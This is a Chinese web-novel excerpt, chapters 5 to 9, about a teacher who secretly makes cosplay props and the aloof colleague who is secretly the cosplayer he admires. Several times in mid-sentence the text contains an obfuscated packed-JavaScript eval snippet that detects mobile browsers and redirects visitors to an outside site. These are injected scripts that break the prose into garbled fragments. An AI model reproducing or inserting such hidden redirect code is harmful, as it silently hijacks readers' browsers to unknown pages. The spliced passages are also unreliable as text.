陶与晴也不知道自己怎么就接下这活了，总而言之，他拿着一叠卷子站在打印店门口。 每一份卷子都要复印一个班的人数。 你管这叫不多？ 复印完了厚厚的一大堆，陶与晴尝试抱起，还算可以接受，但就是有点挡视线。 复印店离学校不远，但也隔着马路，也不知道高老师居然开学第一天就要复印这么多卷子，早知道就不答应了。 这么卷……自己班里的学生是不是也要跟上一下进度了？ 最顶上的卷子歪歪斜斜，陶与晴心道不好，即将接受卷子滑落的命运。 然而卷子没有滑下来，被另一只手接住了。 一双手从一堆卷子中间分开，抱走了上面的一堆。 “你是有喜欢替别人干苦活的特殊癖好吗？” 5. 第 5 章 “我答应之前不知道啊，”陶与晴仿佛拨开云雾见月明，看见简璃那张脸舒坦了不少，但是听见他嘴里刻薄的话语，血压又上去了，“虽然你的性格和说话方式我不喜欢，不过还是谢谢你，你怎么会在这儿？” “正巧路过，这里是学校附近不奇怪，”简璃解释完接着说：“不知道你就率先答应了，很荒唐。” “我知道我知道……没办法反驳你，我们还是先带回去吧。” 简璃没再说什么，默默的帮陶与晴——或者说是帮高老师，把卷子搬回了办公室。 既然自己的粉丝，再坏又能坏到哪去呢。 陶与晴的确绝对称不上坏人，送到教室后第一句话就是：“谢谢，下次请你吃饭。” “就今晚吧。” “……” 客套客套客套！他这人怎么这么实在？ 陶与晴对简璃意外的耿直哭笑不得，只好无奈道：“好吧，那一会我请你吃饭。”虽然也不知道为什么会发展成这样…… 难道不是应该高老师请客吗？ “不过现在，我要先回家了，”陶与晴对简璃说：“晚点学校见吧。” 自己的图还没p完呢，谁也不能阻止他回去花痴离玉的美照。 到家打开ps软件，陶与晴不出一个小时就把剩下的照片p完了。 离玉老师镜头感绝了，最好p的图片永远都是下一张。 【扶光】：我都p好啦！你觉得怎么样？ 【离玉（折磨上班中）】：好！扶光老师p的不管怎么样都好看。 【扶光】：明明是你长得帅好不好！ 【扶光】：你可以先发的，我一会晚上出去吃饭，回消息可能不及时(T ^ T) 【离玉（折磨上班中）】：没关系没关系，你别太累了就好。 【离玉（折磨上班中）】：阿光总是在外面吃的样子，会不会不太健康？ 【扶光】：没关系啦，我也是偶尔。 陶与晴记得离玉说过自己会做些简单的东西，要是这辈子能吃一口就好了。 于是他开开玩笑说。 【扶光】：有机会一定尝尝离玉老师的手艺。 【离玉（折磨上班中）】：只要扶光老师来见我，吃星星吃月亮都行。 哎呀…… 陶与晴耳朵红透了。 长的帅就算了还这么会撩这谁顶得住呢！ 陶与晴顶住了。 因为傍晚见到简璃，瞬间被打回现实了。 一想到长得帅的不一定是离玉，也可能是简璃，就浑身刺挠。 “你是说，你要做饭，”陶与晴用手比划了一下他，又比划了一下自己：“然后让我尝？” “对，”简璃不以为然的点头，并且分析：“我在祁城没什么认识的人，试吃的话只能找同事。” “不是让我请客吗，怎么突然改成你做饭了？” “本来也没想让你请客，”哪有让粉丝请客的道理，“不过的确事出突然，我打算自己做饭。” “好吧……早知道我就不从家里走过来了，你家和我家在一个方向，现在还得回去。” “我有车，坐我车吧。” “……哦。” 虽然不知道为什么他忽然打算做饭，但是白吃就白吃吧。 陶与晴也是没想到成为同事没两天就来到了简璃的家里。 怎么说呢，他家…… 意外的很乱。 基本上没什么家具，全是纸箱子堆满了空间。 “你这么多乱七八糟的都是些什么啊……”陶与晴条件反射就想帮他收拾一下，刚摸上一个箱子的开口处，就被简璃拦住手制止。 “别动，不准看、坐一会我去厨房，”简璃松开他重复了一遍：“箱子里的东西，不准看。” “哦……” 不看就不看，他也不那么好奇。 就算里面放着什么不干净的东西，那又…… 简璃这个性格，真的会让认识不过两天的人来他家里试吃吗？ ……难道说简璃其实是什么电锯杀人魔？ 陶与晴目测了一下自己和门的距离。 咽了咽口水。 教师是编制内，没事的没事的，党和人民与我同在。 陶与晴坐立难安的时候，厨房传来了阵阵响声。 磨刀的声音，切菜的声音，此起彼伏。 ……要不还是跑吧！ 最终良好的素养促使他坐着等简璃上菜。 “你是说……”陶与晴没有正眼看简璃的脸，而是盯着盘子里的东西，说：“你是说这一坨黑色的不明物体，正在散发诡异的气味……是一盘红烧鱼？” 简璃点头：“是的。” 陶与晴苦笑一下，随机面无表情的认真：“倒了吧，你这样糟蹋食物，就算是奄奄一息在地上爬行走路的流浪汉，也绝对不会吃。” “……” 一想到帅哥不一定是离玉，也有可能是简璃…… 就难受啊！ 谁懂啊家人们。 陶与晴捏着鼻子把那坨鱼倒进垃圾桶，由于这性缩力拉满的厨艺，他无视对方长相流畅的说完了一整句话：“我说你不会做饭就不会做饭，干嘛突发奇想炸厨房啊，动静这么大以为你要触发刑法。” “我按照教程做的，”简璃皱眉，认真的思考：“看来不是每个人都能做老师。” “……我觉得应该也不是人家的问题吧。” 陶与晴系上简璃的围裙，拨开他厨房的一堆没用的东西，拿起两个仅剩的土豆，说：“看好了，我只教一次。” 熟练的过油，下料，翻炒。 色香味俱全的干锅土豆片。 这才能叫做饭。 陶与晴把那盘土豆端出来：“学会了吗？” “领悟了，”简璃点头：“应该。” “……我要去看晚自习了，你自己慢慢领悟吧，洗手吃饭。”陶与晴帮他简单的收拾了一下桌子，说：“所以说人得服软，没天赋不要硬做，你都有房有车了，花钱请个家政阿姨做饭没问题啊。” “我能学会，”简璃把干净的碗筷放在桌子上：“做饭，是要做给重要的人吃，怎么能假借他人的手。” 陶与晴战术后仰：“女朋友？” “别乱猜。” “男朋友……？” “……你别乱猜。” 该不会暗恋人家爱而不得。 陶与晴忍不住说：“你对人家该不会也是这个态度吧……” 简璃对这方面倒是很有自知之明，说：“当然不是，生活感情工作，是三个不同领域的事情。” 陶与晴觉得他挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277158|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矛盾的：“可是如果学生对你来说只是工作的话，更不用这么严格的要求吧？” “工作就该负责。” “……好像，无、无法反驳。” 陶与晴依旧不认可他的方式，但好歹简璃确实蛮负责的。 况且今天他还帮自己搬了东西，做顿饭答谢一下也没什么。 陶与晴只好说：“你实在想学的话，从简单的开始吧，比如西红柿炒蛋什么的。” 简璃真诚道：“谢谢。” “不……不客气。” 这声谢谢…… 好像离玉啊。 陶与晴关上大门，转头对着墙磕撞了几下冷静。 代到了代到了！ 代到就是赚到！ 晚自习的学生明显感觉到陶老师的心情很不错。 这两天班里的传言不少，多数是传陶与晴和简璃两个老师关系不好的，据说两个老师在办公室大吵了一架，事后两看生厌。 所以搞得陶与晴虽然是个看起来就很和煦的人，他上课的时候学生们还是提心吊胆生怕触霉头。 不过今天晚上，陶老师好像挺开心的。 “我下午上厕所的时候，看见陶老师和简老师一起回办公室。” “所以他们其实关系没有不好？” 邓留萤忍不住插话：“怎么会不好，中午他们还一起吃饭呢。” 第一排的男生转过头，皱眉：“能别说话吗。” 后面几个人闭了嘴，心里还有点不爽。 他们说话又不大声，老师都没说什么，他还管上了。 那男生默默转过头，接着写作业。 男生斜后桌坐着的正是赵遇京，因为这孩子实在太活泼，陶与晴已经记住他的名字了。 赵遇京早早就把作业写完了，无聊的写了一堆纸牌和周围同学玩。 “我三个老k带俩娃。” “你这啥规则啊。” 他们说话声音很小，陶与晴还是听见了，抬眼还没来得及开口制止，前排那个男孩子又转头。 他说：“晚自习，安静点，收好下课玩。” 陶与晴立马就注意到了他出人意料的自控力，这个男生好像叫姜…… 存在感比较低，陶与晴没什么印象。 赵遇京和同桌也注意到了陶与晴的视线，老实了一会。 陶与晴接着在讲台上翻看了一下名册，原来第一排的男生叫姜一安，看以前成绩就不错，应该是那种老实的学霸。 然而赵遇京的成绩就追在他后面，虽然这家伙很不着调，但是成绩意外的挺好，初中时候应该也是让老师又爱又恨的存在。 再好也不能影响人家学习。 赵遇京第二次和同桌说闲话，陶与晴直接了当：“赵遇京，给我出来。” 走廊外面，陶与晴站在赵遇京面前。 赵遇京率先滑跪：“老师，我错了。” “你小子说的话我半点不信，”陶与晴卷起一张纸轻轻敲了一下他的头：“说了多少次，不要打扰别的同学上课学习。” “我话太多了太好动了，我保证没下次了陶老师。” “这节自习你就在外面站着吧，小纸条我没收了。” “哎陶老师等一下，”赵遇京拉住陶与晴，说：“问你个事儿呗。” “什么？” 6. 第 6 章 赵遇京左看看右看看，似乎确定走廊没人才说：“您和简老师……是不是早就认识啊？” “……没有啊，”陶与晴疑惑他为什么会有这个想法，“简老师是转过来的新老师，我也是才认识他的，怎么了？” “啊这样啊，那没意思，”赵遇京背着手说：“还以为你俩是因为很熟才能吵起来的。” “……班里同学都这样传？” “没有，他们都说你们关系不好，只有我觉得打是亲骂是爱。” “加罚课间十分钟。” “陶老师——” 陶与晴转身走了。 教室里，没了赵遇京果然是安静了不少。 邓留萤写完了数学作业，抬眼看了看陶与晴，又看了看外面漆黑一片的校园。 现在是晚自习，该回家的老师也都回家了，办公室可能只有陶老师一个人。 现在简直是绝佳的认亲机会！ 一定要把握住。 老师老师你快认出我呀！ “留萤你不舒服吗？表情好奇怪。” “没有啊，我只是在想这道题。” 只是因为光是想想就要笑出来了，在努力憋。 一节课时间过去，陶与晴很贴心的问了一句同学们作业多不多，得到了一致的回答。 “多——！” “语文作业真的写不完了啊老师！” “好吧，”陶与晴说：“那今天先不讲课，你们把作业写完，预习一下明天的。” “谢谢陶老师！” “爱您！” 陶与晴抱着教材回办公室，走了几步隐约感觉到背后有人跟着。 空无一人的走廊，窗户外面的环境漆黑一片。 是挺有恐怖氛围的。 陶与晴快走了几步，手握在办公室把手上。 “陶老师。” “！” 吓了他一跳，回头才发现，是邓留萤跟过来了。 “是你啊，”陶与晴经过开学简璃的事情已经完全记住她了，说：“有题目不会吗？” “啊，算是吧，我可以进去吗？” “嗯，过来吧。” 打开办公室的们，同样守晚自习的高老师估计是直接留在了班里，所以并不在。 但是一个意想不到的人确规规矩矩坐在办公室里。 “简璃？”陶与晴眨了眨眼怀疑自己看错了，一时间直呼了他的大名，问：“你怎么来了？” “……家里附近有点吵，我来备课。” 备课需要专门跑来学校吗…… 毕竟简璃的性格确实难以相处，陶与晴觉得班里的女生一时半会适应不了，转头一看，邓留萤没有丝毫尴尬的样子。 说起来上次吃饭这小姑娘就很健谈。 邓留萤此刻心里的小鹿乱撞。 只有她一个人觉得简老师长得特别帅，很像离玉吗！ 但是简璃老师在场的话就要错失良机…… 没事、简老师一看就不是喜欢二次元的人，可以说暗号，他听不懂就行了。 心里建设完成，邓留萤站在陶与晴旁边酝酿了一下。 “我有句诗，不知道下一句。” “？” 陶与晴没记错的话，自己貌似是个数学老师。 自己对面这个好像才是语文老师吧。 邓留萤：“离生梦寐间。” 陶与晴条件反射的秒接：“玉立清风中。” 简璃：“噗咳咳咳咳咳咳。” 等会！ 陶与晴一愣。 自己刚才说了什么？！ “你！”陶与晴惊恐的看了一眼邓留萤。 难道自己的手机屏保被看见了？还是说别的什么角度暴露了？ “陶老师，是我啊。”邓留萤就知道，合格的离玉粉丝一定能接上应援词，那可是满屏弹幕都会刷的。 “？” “我！”邓留萤指了指自己疤痕未散的膝盖，说“想起来没？” “…………是你啊？” 陶与晴想起来了，全都想起来了。 前两天的漫展上，自己帮过的那个穿lo裙的小姑娘。 原来是邓留萤？她一身校服自己还真没认出来。 不是在学校里露破绽，还好还好。 ……不对不好啊！ 为什么一句应援词就被炸出来了啊，明明问起来的话自己可以说帮朋友排队，完美隐藏身份的！ 陶与晴不自在的看了一眼简璃，发现对方一本语文书挡住了脸，看不见他的神情，完全没有关注这边的样子，除了刚才他好像呛到口水，也没出声。 还好，这家伙估计也听不懂。 “您终于认出我来了，”邓留萤欲哭无泪，一时间也忘记了简璃的存在，说：“我们都是离玉老师的狗啊！” “咳咳咳，说话注意点，”虽然事实如此没错，陶与晴还是嘱咐道：“你没告诉其他人吧？” “当然没有，就我们两个知道，陶老师放心，我保证守口如瓶。” 邓留萤把手举在脑侧，做发誓状。 被学生发现一些兴趣爱好不算是一件好事，但邓留萤这姑娘挺懂事的，那…… 不幸中的万幸吧。 两个人趁着晚自习课间没什么人，聊起来：“您看最新的场照了吗，帅惨了。” 夸起离玉来陶与晴就管不了这么多了。 “当然了，真正的帅哥不需要任何角度。”陶与晴自豪的想，那照片还是自己修的呢，不过这一点他是不可能告诉邓留萤的。 “不过我觉得现场更好看哎，好帅好帅。” 陶与晴逐渐和善：“……你在故意气我见不到离玉的盛世美颜吗小邓同学？” “对不起陶老师我忘记了。” “已经酸了，决定明天问题第一个抽你。” 邓留萤小声蛐蛐：“噫——陶老师您该不会是男友粉吧？” “我是很单纯的颜粉谢谢，”陶与晴挥手赶人：“快上课了，赶紧回去吧，我一会过来。” “好的好的，”邓留萤走之前想起来什么，回头说：“谢谢陶老师上次签售让我位置！您没生气吧……？” 陶与晴笑了笑：“小事情而已不用谢，我开玩笑的，快回去吧。” 邓留萤走了以后，陶与晴才反应过来办公室里还有一个人。 虽然这个人挡着脸看书，似乎完全不关心他们刚才的话题。 陶与晴已然做好了被简璃这个古板的家伙批评一顿的准备，刚才那通话对方应该是以为自己和小孩子一样追星吧。 后知后觉尴尬的整理了一下桌子上的教材。 “……” 他怎么不说话啊？是生性不爱说话吗？ 他既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14277159|151801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然没说什么，陶与晴就当他对这个话题没兴趣，整理好桌子，后脚走去教室。 简璃如释重负放下语文书。 手都举酸了。 【离生梦寐间，玉立清风中】 【我们都是离玉老师的狗啊】 【盛世美颜】 其实从对应援词的第一句话开始，简璃就出汗出了一背。 不要啊。 不要当着本人的面对应援词，不要当着本人的面扬言要做他的狗啊！ 陶与晴回班里的路上才发现自己收到了一条意义不明的消息。 【离玉（折磨上班中）】：救救我救救我救救我救救我 【离玉（折磨上班中）】：打个电话给我让我离开这里，急急急急急急急急急 消息来自五分钟前。 【扶光】：？ 【离玉（折磨上班中）】：不用救了，已经死了。 【扶光】：？？？ 一整个晚自习没有其他同学来找陶与晴提这件事，邓留萤肯定真的没有告诉其他人。 陶与晴松了口气，差点就要想一百个自己不是二次元的理由了。 他多多少少能猜到邓留萤自觉替他隐瞒的愿意，因为貌似……其他同学也不知道邓留萤私下的样子，邓留萤和女生之间的聊天都是围绕最近的新闻热点或是内娱趣事。 完全没涉及到游戏、番剧、漫展活动之类的。 看来这波是他们互相捏住了把柄。 但陶与晴认可邓留萤主动找他的勇气，某种意义上来说这个年纪的孩子，已经比他这个大人勇敢很多了。 晚自习结束，陶与晴在大门门口守着班里走读的孩子都散了，才打算回家。 他刚打算沿着河岸走回去，路边停在他面前的低调黑车摇下车窗。 “你、你还没走？” 陶与晴瞪大眼睛。 以及这个坐在车里的姿势有点帅。 这辆车是简璃的，由于只见过一次，陶与晴对车牌也没什么研究，所以完全没印象，一直到对方摇下车窗才发现。 “顺路，”简璃扫了他一眼：“送你吧。” “……好吧。” 的确很顺路，刚好自己也是懒得走了，不如搭个顺风车。 陶与晴打开后座车门坐上去，瞥见简璃的神情有些奇怪。 “你……”简璃鲜少主动开口，这次突然道：“你之前和邓留萤在聊什么？” “……没什么啊，随便聊聊，怎、怎么了？” 要来了吗，要说教了吗？ “……你之前认识她？” “一个活动上见过。” “……听她说你把什么位置让给她了？” 简璃只是问这个的话，陶与晴如实回答：“嗯，就是一个签名机会，她当时摔了一下，我看她还是个小姑娘又是学生，所以就让给她了。” “……哦，不过这种机会听起来一般不多吧。” “也还好，成年人的选择总归会比孩子们多点，下次再说，我远远看了一眼，挺满足的。” 其实自己只是想见见真人，聊上几句话。 不过这要是说出来显得太卑微了点？ 简璃却说：“有这么喜欢吗，一个公众人物。” “不他不一样，”陶与晴坚定摇头：“你不懂，而且他真的很温柔，不接受反驳、不然我咬你。” 7. 第 7 章 “……” 简璃没再说话，难得识趣一回。 “还以为你会说我幼稚呢，”安静了片刻后，陶与晴笑了笑说：“总感觉简老师会是那种很古板的人，只是长得年轻。” “个人爱好，我倒是没有兴趣什么都管，”简璃稳稳的开车进入小区停车库：“你住那栋楼？” “2栋。” 到家以后，陶与晴用小号在班级群里遣散了一群熬夜的同学，催促他们快些去睡觉。 他小号的头像是一朵莲花，看起来就很佛系。 切回Q版头像的大号，有好几个人都找他发消息，都是些老客人，原来是预约十月份的漫展的。 陶与晴算了一下时间，自己可以抽不上课的时候接几单，但他还是优先去问了离玉。 【扶光】：你十月份有活动要参加吗？ 对面秒回。 【离玉（折磨上班中）】：有几个大展子已经邀请了，但是还在考虑去不去，也不知道去哪一个…… 【扶光】：你可以决定一下，我好排单给你做假发道具。 【离玉（折磨上班中）】：好，我想想，对一下时间。 过了一会，离玉发来消息。 【离玉（折磨上班中）】：十月二号祁城，绘11。 【扶光】：绘流？都开十一届了啊，好的，你想出什么角色，还是说主办方有指定吗。 【离玉（折磨上班中）】：我想出的角色找不到合适的搭档……我想出仙眼里的南系玖，但感觉没有cp怪怪的。 陶与晴知道，这是一部仙侠耽美番，南系玖作为主角攻，cp一定就是主角受白榆了。 要找一个搭的上离玉的人……确实很难。 所以离玉至今出的角色都鲜少有cp，因为另一半是谁都会有人吵的。 【扶光】：没事，你可以独美！ 【离玉（折磨上班中）】：我不是这个意思。 【离玉（折磨上班中）】：我是想说，扶光老师，你愿不愿意和我一起出cp？ 这猝不及防的像是告白一样的话直接把陶与晴砸懵了。 深夜11点，被离玉这样的人问能不能和他一起出cp。 换作是谁都会欣喜若狂一口答应的吧。 陶与晴在手机上删删改改，过了很久，久到对方以为他被吓到了，发消息关心。 【扶光】：不不不，我没事…… 陶与晴指尖有些发抖，编辑消息再次发过去。 【扶光】：还是算了吧……我更适合幕后，我长得不好看不适合出cos的，哈哈，虽然说被你邀请真的很高兴，但是还是算啦。 他发了一个可爱的表情包萌混过去。 【离玉（折磨上班中）】：好吧。 【离玉（折磨上班中）】：那你……会来看我吗？ 【扶光】：实在不好意思、国庆节我应该没空……如果有机会的话我会告诉你的。 发完这条消息，陶与晴长叹了口气，关掉手机进了浴室。 和离玉认识这么多年，他们的关系其实也没有那么近。 他们几乎每天都聊天，但是彼此完全不知道彼此的生活细节。 简璃靠在空旷客厅的沙发上，取下眼镜捏了捏鼻梁。 他摘下眼镜和离玉九分相似的脸印在落地窗的玻璃上。 他只是盯着窗外发呆。 扶光也在这座城市……目及之处说不定就有扶光的家。 说来惭愧，这是简璃被扶光拒绝面基的第87次。 甚至扶光男的女的都不清楚，他们没有语音通过话，没有视频聊天过，没有线下见过。 扶光的社交账号也几乎不和其他圈内朋友闲聊，他整个人就像是活在另一个世界一样，神秘极了。 简璃无意打探他的隐私，能做到这样证明扶光真的非常在意这一点，只不过…… 自己真的很想见见他，是男是女、长得怎么样、做什么工作……简璃不在乎。 因为他是扶光啊。 简璃稍加思索，改了个ID。 不远处的另一栋楼，陶与晴冲了个温水澡，冷静了一下。 虽然说之前离玉也一直想见自己，但是还是第一次如此直白的直接邀请自己出cp角色。 真的很想答应，可是…… 往昔的阴影一下子席卷而来，陶与晴站在浴室门口打了个冷颤。 【离玉（碎了）】：我让主办方多准备了一套衣服，是南系玖cp的cos服，如果你能来的话，想穿也可以的。 【扶光】：谢谢！不要碎，我把你拼起来！ 【离玉（碎了）】：阿光早点睡吧，你工作应该很忙的吧。 【扶光】：嗯嗯嗯，确实很忙很忙，那我先睡啦。 并没有。 陶与晴倒在床上看着天花板。 明天他不用早课不用看晚自习，国庆节他也会跟着学生一起放假。 假话，全是假话。 嘴上说着很忙，其实根本已经打算偷偷去看他了。 想到刚才离玉的邀请陶与晴在床上打了几个滚。 突然直球也太犯规了啊啊啊啊啊。 捶了几下床板，陶与晴重新拿起手机。 算好了排单时间，接了几个老熟客的单子。 熟客都知道他会优先做离玉的道具和假发，定下单子的时候还调侃了两句，想从陶与晴嘴里套点离玉的行程出来。 毕竟离玉今年一年出了暑假那次漫展，就没参加过别的活动了。 【石蒜weki】：所以咱们的离玉大帅哥有没有找你做道具呀？ 【扶光】：我想他过段时间会官宣行程的。 【石蒜weki】：那就是有！哎呀他去哪场啊？我看看找我的主办方里有没有，想去同一天。 【扶光】：你直接问他呀。 【石蒜weki】：我没有他联系方式…… 【扶光】：石老师都没有？离玉耍大牌是吧，我去帮你说他去。 【石蒜weki】：啊你们小情侣把戏真多（bushi） 【扶光】：造谣我、你的道具不做了（盯）。 【石蒜weki】撤回了一条消息。 【石蒜weki】：我是说你们纯洁的友情感动天地。 陶与晴第二天到学校，意外的发现简璃的黑眼圈很重。 他今天是早课，看样子是昨天睡得晚。 简璃就坐在陶与晴对面，陶与晴眼看着他把一整杯咖啡一口气喝完，又倒上一杯隔夜的茶。 在对方要送入口之前，陶与晴迅速制止了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“烫死了，你根本就是发烧了啊，”陶与晴一下子站直了，怪不得他觉得简璃脸色不对劲，快步走到他面前，说：“走，跟我去医院。” “……我没感觉。” “你都烧成傻子了怎么会有感觉，快点跟我走。” 校医务室是很不靠谱的，陶与晴当即手机约了辆车带简璃去市医院。 “你还好吧，有没有别的地方难受？”坐上车以后陶与晴接着问：“什么时候烧起来的，你昨天晚上着凉了吗。” 简璃脑子很迷，靠在座位上说出来的话也不知所云：“心凉。” 陶与晴：“……” 他是病人，逻辑不通，可以理解。 好好的帅哥就算不会说话也不至于给烧傻了吧。 “师傅麻烦快一点谢谢。” “好嘞。” 五分钟后，司机师傅稳稳停在医院门口。 “简璃……简璃……”陶与晴拉了拉他，说：“还能自己走两步吗？” “不能贴贴，”简璃低着头：“贴贴危险还密接。” 陶与晴：“……” 8. 第 8 章 陶与晴：“……噗。” 人在极致无语的时候，确实会笑出来。 这到底是几百年前的老梗啊。 陶与晴拖着烧的不省人事的简璃走进医院，他这个样子差点吓坏了护士。 一经检查才发现，这家伙哪里是单纯的发烧，他根本是急性肠胃炎引起的，硬撑着完全看不出来…… 晚上的晚自习他是别想去了，陶与晴当即给学校里的其他老师打了个电话，替他请了个假。 简璃还睡着，医生和陶与晴说最好休息三到五天。 病床上简璃取下眼镜闭着眼，他不说话的时候真有几分离玉的神韵。 陶与晴盯着他看了一会，听见医生问。 “你是这帅哥的……？” “同事。” “啊，同事啊，”医生点点头，说：“那病人家属呢？能打个电话吗。” “等他醒了我问问吧，”陶与晴说：“我们还不是很熟，我不知道他家里的情况，医药费我可以先缴。” “行，来这边。” 一直到晚上七八点简璃才醒，陶与晴坐在他旁边看书备课。 “……几点了。” 陶与晴一猜就知道他想说什么，头都不抬：“不用急，已经让隔壁徐老师代课了，也跟学校那边说了，你这几天都在医院。” “我已经好了。” “得了吧，”陶与晴抬眼一看，本来想说点扎人的话，却被这张附带病弱属性的帅脸噎了回去，“……你、你自己的身体，自己怎么不清楚……都急性肠胃炎了、亏你还上完了两节课。” “……” 简璃似乎自知理亏加上陶与晴是纯粹的好意，所以也没在反驳什么。 “对了，医生刚才问你在祁城有没有家属可以过来。” “没有。” 几乎斩钉截铁的回答。 “好吧，”陶与晴说：“那只好我这几天上完课过来照顾照顾你了，你电话多少，我记一下。” 简璃表情松动了一些：“……也不用，我自己可以。” “我买了粥还是热的，医院的饭不好吃，而且也不能吃其他的，你将就一下，”陶与晴充耳不闻他的话，打开包装袋说：“还有一小袋白糖，加在里面多少吃点……还好你不严重，否则你连东西都吃不了。” 陶与晴大概已经决定照顾他了，简璃深吸一口气：“谢谢。” “不用啦，”陶与晴无奈说：“真想谢我就对孩子们温柔点，免得他们以后找我控诉你的‘恶行’。” 晚上陶与晴干脆在医院里睡了一觉，第二天赶回学校里上完课，回家做饭带到医院。 三点一线，但陶与晴效率还挺高，甚至能抽空打电话问简璃想吃什么。 对方倒是不挑食，这一点挺好的。 简璃早上没事干的时候，打开手机想过要不要给扶光发消息说自己进医院了。 一想到昨天自己又被拒绝了，现在就进医院，发过去有点像卖惨。 而且扶光最近应该挺忙的…… 他最终还是没发。 中午陶与晴带着保温盒过来，打开盖子飘出来粥香，闻起来就比昨天外面买的要好吃。 “你做的？” “嗯，”陶与晴说：“我大学是在外面租房子的，有厨房独立的早。” 因为自己做道具做假发，含有一定危险性并且东西多，所以只能出去住了。 否则自己的室友也不会想天天回来带防毒面具的。 “……挺不错的，”简璃赞扬他的厨艺，说：“是我不懂的领域。” “看得出来，”陶与晴回想上次在简璃家，简直要命，“没事儿，你长得帅……” “嗯？” “我是说，你肯努力，挺好的。” 一连着照顾了简璃几天，他修养好出院刚好是周末，陶与晴决定放空大脑，专心安排离玉的新角色道具。 南系玖是一个仙侠背景的角色，他的特殊功法是化气为剑，在现实里这个有点难实现，需要做出透明又清晰有轮廓的形状。 假发造型简单，对于陶与晴来说是非常容易的，只是这道具…… 在网上找了一些其他coser参考，他们只还原了南系玖的实体剑“未央”，没人做出透明的气剑，看着有些千篇一律。 但是，如果是离玉的话——清冷高贵的仙尊手握一把像水波一样的透明剑……一定很帅啊，这不得出片？ 陶与晴脑子里已经有画面了，撸起袖子接受挑战，一定要还原最真实的透明质感。 顺便可以出个教程，很久没有拍教学视频了。 他这个人做起道具来就废寝忘食，一整天研究的功夫连手机都没看，知道半夜才得空，后知后觉发现自己饿了。 陶与晴甩了甩疼痛的胳膊，掏出手机给发小打电话，约他吃宵夜。 “喂，接我，请我吃万食堂的烤鱼。” 由于和向思远实在是太熟了，陶与晴知道他今天休息，说完这句话直接就挂了电话，并且语气透露着淡淡的死感。 【下楼】 短信提醒响起来，陶与晴瞄了一眼心想这家伙今天还挺快，套了件外套出门。 但是出了小区却没看见熟悉的车牌。 陶与晴刚想打电话问人在哪，打开手机发现短信发送人的名字不太对劲。 下楼两个字头上，明晃晃写着简璃的名字。 ……？ 死去的细节突然开始攻击陶与晴，刚才他胳膊酸麻，看也没看习惯性的点开了手机最上的联系人，因为对方秒接所以根本没怀疑。 完全忘了这几天一直在和自己通话的不是向思远是简璃。 自己刚才那对好友没礼貌的“命令”，刚忙碌完的死人语气，全是说给简璃听的？！ 关键是这家伙怎么还真的过来了啊！ 侧面的车摇下车窗，里面的人看陶与晴站着愣声，冷声问：“站着干什么，上车。” “你你你——”陶与晴吓了一跳，回头对上简璃疑惑的目光，磕磕巴巴一时间根本不知道怎么解释。 人家来都来了，难不成还让人家回去？ “对不起，”陶与晴在他催促的注视下上了后座，赶紧道歉说：“我以为我打给我发小的，我没想到……对不起、我请你吧？” 简璃透过后视镜看了他一眼，说：“没事，这几天你帮了我，我本来也该请客，走吧。” “……” 陶与晴默默系好安全带，欲哭无泪。 光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我上学时他就一直在，算下来可能……二十多年了吧？我们当时最喜欢吃他家的家常菜，味道都不错，下次可以来尝尝。” “比我之前在成安吃的那家好。” “你去过成安？” “出差去过，那家的烤鱼难吃到同行的朋友连夜点了麦x劳的外卖。” “真的假的哈哈哈，烤鱼还能做的难吃呢？祁城找不出一家难吃的烤鱼店，否则一定倒闭。” 两个人海阔天空聊起来，气氛轻松愉快，聊着聊着陶与晴发现简璃去过的地方真不少，难不成他有旅游的爱好？ 而且他去过的城市听起来都有点耳熟，自己貌似都在什么地方见过，甚至刚才那家难吃的烤鱼店，陶与晴也有在哪里听说过的既视感。 陶与晴随口一问：“你去过这么多地方，都是自己一个人去吗？学校应该不用出差这么多次吧。” 意识到自己有点失言，也不知道怎么，情不自禁就和陶与晴聊起来了。 简璃愣了一下，立刻圆道：“爱好，有空就出去转转。” 9. 第 9 章 虽然有些既视感，但是陶与晴并没有多怀疑他，后面聊了点别的这事儿就算揭过去。 “前两天多谢你照顾，”简璃坦然道：“一开始以为你是个很冒失的人，我向你道歉。” “……没事，我也没放心上。” 刚开始和简璃争论的时候，自己看起来确实很不专业。 谁让他长得这么像离玉呢。 陶与晴透过眼镜看向简璃的眼睛。 人一旦接受了某种设定，就会越看越像。 但简璃一开口，这种滤镜就会碎一地。 “下次还能教我做饭吗？” “你还没放弃啊！” 吃饱喝足，两个人刚好是同一个小区，一道回去很方便，周一上课的时候简璃破天荒的接陶与晴一起去，陶与晴秉承不要白不要的道理，搭了个顺风车。 